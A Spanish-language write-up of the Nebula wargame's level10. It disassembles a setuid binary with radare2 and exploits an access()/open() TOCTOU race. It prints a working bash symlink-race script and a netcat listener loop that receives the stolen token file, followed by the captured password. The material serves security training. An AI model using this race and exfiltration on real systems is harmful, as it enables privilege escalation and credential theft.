Continúa la caza de bugs:
level10@nebula:/home/flag10$ ls -al
total 14
drwxr-x--- 2 flag10 level10 93 2011-11-20 21:22 .
drwxr-xr-x 1 root root 60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag10 flag10 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag10 flag10 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag10 level10 7743 2011-11-20 21:22 flag10
-rw-r--r-- 1 flag10 flag10 675 2011-05-18 02:54 .profile
-rw------- 1 flag10 flag10 37 2011-11-20 21:22 token
O esto es un déjà vu, o se parece demasiado al reto level04. Veamos:
level10@nebula:/home/flag10$ ./flag10 token
./flag10 file host
sends file to host if you have access to it
Si tenemos permisos de acceso al fichero indicado en el primer argumento, este se enviará al host de nuestra elección. No obstante, se presentan varias incógnitas: ¿a qué puerto se envía dicho fichero?, ¿cómo se comprueban los permisos de acceso?, ¿de nuevo
strstr()
? Aunque existen otros modos más directos, utilizaremos en este caso radare2
para destripar por completo el binario.
dpc@kernelinside:~$ r2 ./flag10
-- git pull now
[0x08048620]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048620]> iz
000 0x00000a40 0x08048a40 58 59 (.rodata) ascii %s file host\n\tsends file to host if you have access to it\n
001 0x00000a7b 0x08048a7b 26 27 (.rodata) ascii Connecting to %s:18211 ..
002 0x00000a96 0x08048a96 29 30 (.rodata) ascii Unable to connect to host %s\n
003 0x00000ab4 0x08048ab4 8 9 (.rodata) ascii .oO Oo.\n
004 0x00000ac0 0x08048ac0 34 35 (.rodata) ascii Unable to write banner to host %s\n
005 0x00000ae3 0x08048ae3 27 28 (.rodata) ascii Connected!\nSending file ..
006 0x00000aff 0x08048aff 25 26 (.rodata) ascii Damn. Unable to open file
007 0x00000b19 0x08048b19 29 30 (.rodata) ascii Unable to read from file: %s\n
008 0x00000b37 0x08048b37 11 12 (.rodata) ascii wrote file!
009 0x00000b43 0x08048b43 28 29 (.rodata) ascii You don't have access to %s\n
[0x08048620]>
Con el volcado de strings obtenemos el puerto al que se conecta el binario, en este caso resulta ser el 18211. Ahora desensamblamos la función
main()
:
[0x08048620]> s sym.main
[0x080486d4]> pdf
| ;-- main:
/ (fcn) sym.main 664
| sym.main (signed int arg_8h, int arg_ch);
| ; arg signed int arg_8h @ ebp+0x8
| ; arg int arg_ch @ ebp+0xc
| ; var char **oflag @ esp+0x4
| ; var size_t nbytes @ esp+0x8
| ; var char **path @ esp+0x1c
| ; var char **local_28h @ esp+0x28
| ; var char **local_2ch @ esp+0x2c
| ; var int fd @ esp+0x30
| ; var unsigned int fildes @ esp+0x34
| ; var ssize_t local_38h @ esp+0x38
| ; var int local_3ch @ esp+0x3c
| ; var int local_103ch @ esp+0x103c
| ; var int local_103eh @ esp+0x103e
| ; var int local_1040h @ esp+0x1040
| ; var int local_104ch @ esp+0x104c
| ; DATA XREF from entry0 (0x8048637)
| 0x080486d4 push ebp
| 0x080486d5 mov ebp, esp
| 0x080486d7 and esp, 0xfffffff0
| 0x080486da sub esp, 0x1050
| 0x080486e0 mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| 0x080486e3 mov dword [path], eax
| 0x080486e7 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x080486ed mov dword [local_104ch], eax ; [0x104c:4]=-1
| 0x080486f4 xor eax, eax
| 0x080486f6 cmp dword [arg_8h], 2 ; [0x2:4]=-1 ; 2
| ,=< 0x080486fa jg 0x804871f
| | 0x080486fc mov eax, dword [path] ; [0x1c:4]=-1 ; 28
| | 0x08048700 mov edx, dword [eax]
| | 0x08048702 mov eax, str.s_file_host____sends_file_to_host_if_you_have_access_to_it ; 0x8048a40 ; "%s file host\n\tsends file to host if you have access to it\n"
| | 0x08048707 mov dword [oflag], edx
| | 0x0804870b mov dword [esp], eax ; const char *format
| | 0x0804870e call sym.imp.printf ; int printf(const char *format)
| | 0x08048713 mov dword [esp], 1 ; int status
| | 0x0804871a call sym.imp.exit ; void exit(int status)
| | ; CODE XREF from sym.main (0x80486fa)
| `-> 0x0804871f mov eax, dword [path] ; [0x1c:4]=-1 ; 28
| 0x08048723 mov eax, dword [eax + 4] ; [0x4:4]=-1 ; 4
| 0x08048726 mov dword [local_28h], eax
| 0x0804872a mov eax, dword [path] ; [0x1c:4]=-1 ; 28
| 0x0804872e mov eax, dword [eax + 8] ; [0x8:4]=-1 ; 8
| 0x08048731 mov dword [local_2ch], eax
| 0x08048735 mov eax, dword [path] ; [0x1c:4]=-1 ; 28
| 0x08048739 add eax, 4
| 0x0804873c mov eax, dword [eax]
| 0x0804873e mov dword [oflag], 4 ; int mode
| 0x08048746 mov dword [esp], eax ; const char *path
| 0x08048749 call sym.imp.access ; int access(const char *path, int mode)
| 0x0804874e test eax, eax
| ,=< 0x08048750 jne 0x8048940
| | 0x08048756 mov eax, str.Connecting_to__s:18211_.. ; 0x8048a7b ; "Connecting to %s:18211 .. "
| | 0x0804875b mov edx, dword [local_2ch] ; [0x2c:4]=-1 ; ',' ; 44
| | 0x0804875f mov dword [oflag], edx
| | 0x08048763 mov dword [esp], eax ; const char *format
| | 0x08048766 call sym.imp.printf ; int printf(const char *format)
| | 0x0804876b mov eax, dword [sym.stdout] ; obj.stdout ; [0x804a060:4]=0
| | 0x08048770 mov dword [esp], eax ; FILE *stream
| | 0x08048773 call sym.imp.fflush ; int fflush(FILE *stream)
| | 0x08048778 mov dword [nbytes], 0
| | 0x08048780 mov dword [oflag], 1
| | 0x08048788 mov dword [esp], 2
| | 0x0804878f call sym.imp.socket
| | 0x08048794 mov dword [fd], eax
| | 0x08048798 lea eax, [local_103ch] ; 0x103c
| | 0x0804879f mov dword [eax], 0
| | 0x080487a5 mov dword [eax + 4], 0
| | 0x080487ac mov dword [eax + 8], 0
| | 0x080487b3 mov dword [eax + 0xc], 0
| | 0x080487ba mov word [local_103ch], 2 ; [0x103c:2]=0xffff
| | 0x080487c4 mov eax, dword [local_2ch] ; [0x2c:4]=-1 ; ',' ; 44
| | 0x080487c8 mov dword [esp], eax
| | 0x080487cb call sym.imp.inet_addr
| | 0x080487d0 mov dword [local_1040h], eax ; [0x1040:4]=-1
| | 0x080487d7 mov dword [esp], 0x4723 ; '#G' ; [0x4723:4]=-1
| | 0x080487de call sym.imp.htons
| | 0x080487e3 mov word [local_103eh], ax ; [0x103e:2]=0xffff
| | 0x080487eb mov dword [nbytes], 0x10 ; [0x10:4]=-1 ; 16
| | 0x080487f3 lea eax, [local_103ch] ; 0x103c
| | 0x080487fa mov dword [oflag], eax
| | 0x080487fe mov eax, dword [fd] ; [0x30:4]=-1 ; '0' ; 48
| | 0x08048802 mov dword [esp], eax
| | 0x08048805 call sym.imp.connect
| | 0x0804880a cmp eax, 0xffffffffffffffff
| ,==< 0x0804880d jne 0x8048830
| || 0x0804880f mov eax, str.Unable_to_connect_to_host__s ; 0x8048a96 ; "Unable to connect to host %s\n"
| || 0x08048814 mov edx, dword [local_2ch] ; [0x2c:4]=-1 ; ',' ; 44
| || 0x08048818 mov dword [oflag], edx
| || 0x0804881c mov dword [esp], eax ; const char *format
| || 0x0804881f call sym.imp.printf ; int printf(const char *format)
| || 0x08048824 mov dword [esp], 1 ; int status
| || 0x0804882b call sym.imp.exit ; void exit(int status)
| || ; CODE XREF from sym.main (0x804880d)
| `--> 0x08048830 mov dword [nbytes], 8 ; size_t nbytes
| | 0x08048838 mov dword [oflag], str..oO_Oo. ; [0x8048ab4:4]=0x204f6f2e ; ".oO Oo.\n" ; void *ptr
| | 0x08048840 mov eax, dword [fd] ; [0x30:4]=-1 ; '0' ; 48
| | 0x08048844 mov dword [esp], eax ; int fd
| | 0x08048847 call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
| | 0x0804884c cmp eax, 0xffffffffffffffff
| ,==< 0x0804884f jne 0x8048872
| || 0x08048851 mov eax, str.Unable_to_write_banner_to_host__s ; 0x8048ac0 ; "Unable to write banner to host %s\n"
| || 0x08048856 mov edx, dword [local_2ch] ; [0x2c:4]=-1 ; ',' ; 44
| || 0x0804885a mov dword [oflag], edx
| || 0x0804885e mov dword [esp], eax ; const char *format
| || 0x08048861 call sym.imp.printf ; int printf(const char *format)
| || 0x08048866 mov dword [esp], 1 ; int status
| || 0x0804886d call sym.imp.exit ; void exit(int status)
| || ; CODE XREF from sym.main (0x804884f)
| `--> 0x08048872 mov eax, str.Connected___Sending_file_.. ; 0x8048ae3 ; "Connected!\nSending file .. "
| | 0x08048877 mov dword [esp], eax ; const char *format
| | 0x0804887a call sym.imp.printf ; int printf(const char *format)
| | 0x0804887f mov eax, dword [sym.stdout] ; obj.stdout ; [0x804a060:4]=0
| | 0x08048884 mov dword [esp], eax ; FILE *stream
| | 0x08048887 call sym.imp.fflush ; int fflush(FILE *stream)
| | 0x0804888c mov dword [oflag], 0 ; int oflag
| | 0x08048894 mov eax, dword [local_28h] ; [0x28:4]=-1 ; '(' ; 40
| | 0x08048898 mov dword [esp], eax ; const char *path
| | 0x0804889b call sym.imp.open ; int open(const char *path, int oflag)
| | 0x080488a0 mov dword [fildes], eax
| | 0x080488a4 cmp dword [fildes], 0xffffffffffffffff
| ,==< 0x080488a9 jne 0x80488c3
| || 0x080488ab mov dword [esp], str.Damn._Unable_to_open_file ; [0x8048aff:4]=0x6e6d6144 ; "Damn. Unable to open file" ; const char *s
| || 0x080488b2 call sym.imp.puts ; int puts(const char *s)
| || 0x080488b7 mov dword [esp], 1 ; int status
| || 0x080488be call sym.imp.exit ; void exit(int status)
| || ; CODE XREF from sym.main (0x80488a9)
| `--> 0x080488c3 mov dword [nbytes], 0x1000 ; [0x1000:4]=-1 ; size_t nbyte
| | 0x080488cb lea eax, [local_3ch] ; 0x3c ; '<' ; 60
| | 0x080488cf mov dword [oflag], eax ; void *buf
| | 0x080488d3 mov eax, dword [fildes] ; [0x34:4]=-1 ; '4' ; 52
| | 0x080488d7 mov dword [esp], eax ; int fildes
| | 0x080488da call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| | 0x080488df mov dword [local_38h], eax
| | 0x080488e3 cmp dword [local_38h], 0xffffffffffffffff
| ,==< 0x080488e8 jne 0x8048916
| || 0x080488ea call sym.imp.__errno_location
| || 0x080488ef mov eax, dword [eax]
| || 0x080488f1 mov dword [esp], eax ; int errnum
| || 0x080488f4 call sym.imp.strerror ; char *strerror(int errnum)
| || 0x080488f9 mov edx, str.Unable_to_read_from_file:__s ; 0x8048b19 ; "Unable to read from file: %s\n"
| || 0x080488fe mov dword [oflag], eax
| || 0x08048902 mov dword [esp], edx ; const char *format
| || 0x08048905 call sym.imp.printf ; int printf(const char *format)
| || 0x0804890a mov dword [esp], 1 ; int status
| || 0x08048911 call sym.imp.exit ; void exit(int status)
| || ; CODE XREF from sym.main (0x80488e8)
| `--> 0x08048916 mov eax, dword [local_38h] ; [0x38:4]=-1 ; '8' ; 56
| | 0x0804891a mov dword [nbytes], eax ; size_t nbytes
| | 0x0804891e lea eax, [local_3ch] ; 0x3c ; '<' ; 60
| | 0x08048922 mov dword [oflag], eax ; void *ptr
| | 0x08048926 mov eax, dword [fd] ; [0x30:4]=-1 ; '0' ; 48
| | 0x0804892a mov dword [esp], eax ; int fd
| | 0x0804892d call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
| | 0x08048932 mov dword [esp], str.wrote_file ; [0x8048b37:4]=0x746f7277 ; "wrote file!" ; const char *s
| | 0x08048939 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x0804893e jmp 0x8048955
| || ; CODE XREF from sym.main (0x8048750)
| |`-> 0x08048940 mov eax, str.You_don_t_have_access_to__s ; 0x8048b43 ; "You don't have access to %s\n"
| | 0x08048945 mov edx, dword [local_28h] ; [0x28:4]=-1 ; '(' ; 40
| | 0x08048949 mov dword [oflag], edx
| | 0x0804894d mov dword [esp], eax ; const char *format
| | 0x08048950 call sym.imp.printf ; int printf(const char *format)
| | ; CODE XREF from sym.main (0x804893e)
| `--> 0x08048955 mov edx, dword [local_104ch] ; [0x104c:4]=-1
| 0x0804895c xor edx, dword gs:[0x14]
| ,=< 0x08048963 je 0x804896a
| | 0x08048965 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; CODE XREF from sym.main (0x8048963)
| `-> 0x0804896a leave
\ 0x0804896b ret
La llamada de librería
htons()
confirma el puerto (0x4723 = 18211):
mov dword [esp], 0x4723
call sym.imp.htons
La función es un poco espagueti, pero si abstraemos únicamente las llamadas de sistema (syscall), descubrimos un orden interesante:
call sym.imp.access ; int access(const char *path, int mode)
call sym.imp.socket
call sym.imp.connect
call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
call sym.imp.open ; int open(const char *path, int oflag)
call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
En este caso los permisos de acceso se comprueban mediante
access()
, y la página man
nos advierte del peligro de usar esta llamada:
dpc@kernelinside:~$ man access
NOTES
Warning: Using these calls to check if a user is authorized to, for
example, open a file before actually doing so using open(2) creates a
security hole, because the user might exploit the short time interval
between checking and opening the file to manipulate it. For this rea‐
son, the use of this system call should be avoided. (In the example
just described, a safer alternative would be to temporarily switch the
process's effective user ID to the real ID and then call open(2).)
En la jerga, esta vulnerabilidad se conoce como TOCTOU (Time of Check - Time of Use), es decir, una condición de carrera. Si pasamos a
access()
la ruta de un fichero para el cual sí tenemos permisos de lectura, el programa continuará con normalidad, pero nada nos impide aprovechar el espacio de tiempo hasta que se produce la llamada open()
para modificar dicho fichero y hacer que apunte a otro distinto (en este caso crear un enlace simbólico hacia token
). open()
no realiza otro chequeo de permisos, por lo que abrirá el mismo sin preocuparse.
El exploit consistirá en un script de bash que repetirá indefinidamente los siguientes pasos:
1. Crear un nuevo archivo /tmp/fake
2. Lanzar ./flag10 /tmp/fake host en segundo plano
3. Esperar una cantidad arbitraria de tiempo
4. Sustituir /tmp/fake por un enlace a /home/flag10/token
Lo primero que necesitamos es abrir un listener con
nc
recibiendo peticiones de forma contínua en otro terminal:
level10@nebula:~$ while true; do nc -lv 18211; done
Ahora el script propiamente dicho:
#!/bin/bash
while true; do
touch /tmp/fake
/home/flag10/flag10 /tmp/fake 192.168.56.101 &
i=0
while [ $i -lt 200 ]; do
let i+=1
done
ln -sf /home/flag10/token /tmp/fake
rm -f /tmp/fake
done
Utilizamos un bucle interno para consumir el tiempo que sea necesario, puede que el valor 200 no sea el adecuado para ti. En todo caso, en el terminal donde ejecutamos
nc
pronto aparecerá lo siguiente:
level10@nebula:~$ while true; do nc -lv 18211; done
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Connection from 192.168.56.101 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
...
Y obtenemos el password del usuario flag10:
level10@nebula:/home/flag10$ su flag10
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
Pwned!
No hay comentarios:
Publicar un comentario